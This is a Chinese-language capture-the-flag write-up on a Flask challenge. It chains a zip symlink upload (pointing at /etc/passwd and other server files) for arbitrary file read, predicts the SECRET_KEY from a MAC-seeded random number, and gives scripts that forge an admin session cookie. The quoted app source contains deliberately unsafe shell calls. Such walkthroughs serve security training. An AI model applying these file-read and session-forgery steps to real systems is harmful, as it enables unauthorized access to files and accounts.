考点:Flask Session 伪造,Zip 软链接任意文件读取,伪随机数种子预测,信息收集,MAC 地址
点击靶机。发现有个登录界面,随便输几个登陆进去。

网站有个zip上传功能:
-
你上传一个zip文件
-
服务器解压它
-
读取解压后的文件内容
-
把内容返回给你
漏洞点:如果zip里有软链接,服务器解压后读软链接,就会读到服务器上的文件。
前置知识
什么是软链接?
软链接就像Windows里的"快捷方式",它本身不存内容,只是指向另一个文件。
比如:
-
你创建一个软链接叫
passwd,指向/etc/passwd -
当你读取
passwd这个软链接时,实际上读到的是/etc/passwd的内容
怎么创建软链接?
bash
ln -s 目标文件 软链接名
比如:
bash
ln -s /etc/passwd passwd
这就创建了一个叫 passwd 的软链接,指向 /etc/passwd。
zip -y 是什么?
zip 是压缩命令,-y 参数的意思是:压缩的时候,保留软链接的原样,不把它指向的文件内容压进去。
-
不加
-y:zip会把软链接指向的文件内容压进去(相当于复制了一份) -
加了
-y:zip只保存软链接本身(解压出来还是个软链接)
这就是漏洞的关键!
如果网站上传zip后会解压,然后读取解压后的文件内容:
-
你上传一个带软链接的zip(用
-y参数压缩) -
服务器解压后,软链接还是软链接
-
服务器读取这个软链接的内容时,就会读到服务器上对应文件的内容
-
这样你就能读取服务器上的任意文件了
原理总结: 上传带软链接的zip → 服务器解压 → 服务器读软链接 → 读到服务器上的文件内容 → 任意文件读取漏洞
Flask Session 是什么?
Flask 是 Python 的一个 Web 框架。
Flask 的 session 有个特点:
-
存在客户端(存在浏览器的cookie里)
-
用 SECRET_KEY 签名,防止篡改
-
但内容是可以解密看到的(只是签名,不是加密)
什么是签名?
-
就像在文件上盖个章,证明文件没被改过
-
你能看到文件内容,但改了之后章就不对了
-
只有知道密钥的人,才能盖出正确的章
所以:
-
没有 SECRET_KEY → 你能看session内容,但改不了
-
有了 SECRET_KEY → 你能伪造任意内容的session
随机数种子是什么?
计算机里的随机数不是真的随机,是伪随机------用一个算法算出来的。
这个算法需要一个初始值 ,这个初始值就叫种子(seed)。
-
种子一样 → 算出来的随机数序列就一样
-
种子不同 → 随机数序列就不同
举个例子:
python
import random
random.seed(123) # 设置种子为123
print(random.random()) # 输出一个随机数
print(random.random()) # 再输出一个
只要种子是123,每次运行输出的随机数都是一样的。
重点:知道了种子,就能预测所有的随机数
uuid.getnode() 是什么?
这是 Python 的一个函数,用来获取本机的 MAC地址,返回一个整数。
MAC地址是网卡的物理地址,每台机器的MAC地址是唯一的(理论上)。
python
import uuid
print(uuid.getnode()) # 输出类似 12345678901234 这样的整数
MAC地址是什么?
MAC地址是网卡的物理地址,格式通常是这样的:
python
c6:ec:32:84:fc:12
-
一共6组,每组2位十六进制数
-
用冒号分隔
-
总共48位(6×8=48位)
MAC地址可以转成整数:
-
把每组十六进制转成二进制
-
拼起来
-
再转成十进制整数
这就是 uuid.getnode() 返回的东西。
开始实操
我们先创建带软链接的zip,然后再将passwd.zip进行上传。



接下来读环境变量:
为什么要读环境变量?
-
环境变量里可能有密钥、路径、配置等信息
-
能帮我们了解服务器的结构



从环境变量里能看到:
-
UWSGI_INI=/app/uwsgi.ini------ uwsgi的配置文件路径 -
FLAG=not_flag------ 假的flag,提示你flag不在这 -
PYTHONPATH=/app------ Python代码在 /app 目录下 -
等等...
知道了uwsgi配置文件路径,就读它:

上传后得到uwsgi配置:

这告诉我们主程序的文件名。
接下来读取主程序路径:


不知道为什么什么回显都没有,正常来说应该是:
bash
module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
根据实际路径,读取源码:


python
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
python
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
这三行是关键。
| 代码 | 解释 |
|---|---|
random.seed(uuid.getnode()) |
设置随机数种子,种子是MAC地址(转成整数) |
app = Flask(__name__) |
创建Flask应用 |
app.config['SECRET_KEY'] = str(random.random()*100) |
SECRET_KEY = 随机数 × 100,转成字符串 |
源码里:
python
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
-
随机数种子 = MAC地址(转成整数)
-
SECRET_KEY = 第一个随机数 × 100
所以,我们要:
-
拿到MAC地址
-
转成整数
-
设为随机数种子
-
生成第一个随机数
-
×100 就是 SECRET_KEY
获取MAC地址


MAC地址转整数并计算 SECRET_KEY
python
import uuid
import random
mac = ""
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)#将mac转为十进制
random.seed(mac)
print(random.random()*100)#由转化后的mac得到伪随机数种子

伪造 admin session
我们直接用 Python 脚本,不用flask-unsign了,容易出问题。

python
import base64
import zlib
session = "yJ1c2VybmFtZSI6ImFkbWluIn0.Gc5nQ.jaURTtMLuolmD4ppHGcspAUO58"
# 取第一部分(点号前面的)
payload = session.split('.')[0]
# base64解码
payload += '=' * (-len(payload) % 4) # 补全等号
data = base64.urlsafe_b64decode(payload)
print(data.decode())

得出
python
{"username":"text"}
将其改为
python
{"username":"admin"}
用密钥重新签名 session
知道了密钥之后,自己造一个管理员的 session。
python
from itsdangerous import URLSafeTimedSerializer
import json
# 密钥
secret_key = "91.10781719043547"
# 你想要的session内容
session_data = {"username": "admin"}
# 创建序列化器(和Flask用的一样)
s = URLSafeTimedSerializer(
secret_key,
salt="cookie-session",
serializer=None,
signer_kwargs={
"key_derivation": "hmac",
"digest_method": "sha1"
}
)
# 签名
result = s.dumps(session_data)
print("签名后的session:")
print(result)

替换伪造后的SESSION

这道题的核心逻辑链:
Zip软链接读任意文件 → 读源码发现SECRET_KEY生成方式 → 读MAC地址算种子 → 预测SECRET_KEY → 伪造admin session → 密钥重新签名 session → 拿flag